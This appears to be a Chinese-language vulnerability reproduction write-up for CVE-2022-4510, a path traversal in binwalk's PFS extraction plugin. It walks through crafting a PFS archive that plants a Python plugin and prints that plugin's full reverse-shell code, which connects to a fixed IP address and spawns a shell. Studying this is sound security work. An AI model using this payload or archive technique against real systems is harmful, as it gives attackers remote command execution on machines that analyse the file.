跳转至

binwalk路径穿越CVE 2022 4510

binwalk路径穿越CVE-2022-4510

简介:在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,使会导致路径穿越,把文件写到任意的地方

效果:配合 binwalk 可以在 ~/.config/binwalk/plugins 下面自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)

局限:因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到

影响范围:2.1.2b 到 2.3.3

1675690861330-6c9fdc7d-20dc-4079-a82c-ffce5c49858d.png

复现过程:

https://github.com/ReFirmLabs/binwalk 的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:https://github.com/ReFirmLabs/binwalk/pull/617

在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果(那个路径是为了看效果改的源码)

1675692549621-e0561ccb-f97b-4538-a01c-c45d4e466697.png

接下来看一下 POC 是怎么构成的

压缩包里面有个 pfs 文件

1675692587272-98cc9559-736b-42c3-a379-5b9c62e97384.png

解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度

1675692634266-7c22b541-1a41-4d9e-9274-bb9dda4679e5.png

接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包

import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.132.131",9999))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("sh")

1675693193572-4390188f-1e02-4b1c-b586-db9a01106628.png

RCE

1675693257543-c887aa9b-8b7d-4834-bac6-6c8bfa14f663.png

参考:

https://github.com/ReFirmLabs/binwalk/pull/617

https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/

原文: https://www.yuque.com/hxfqg9/bin/wi7cql7u9dxfckze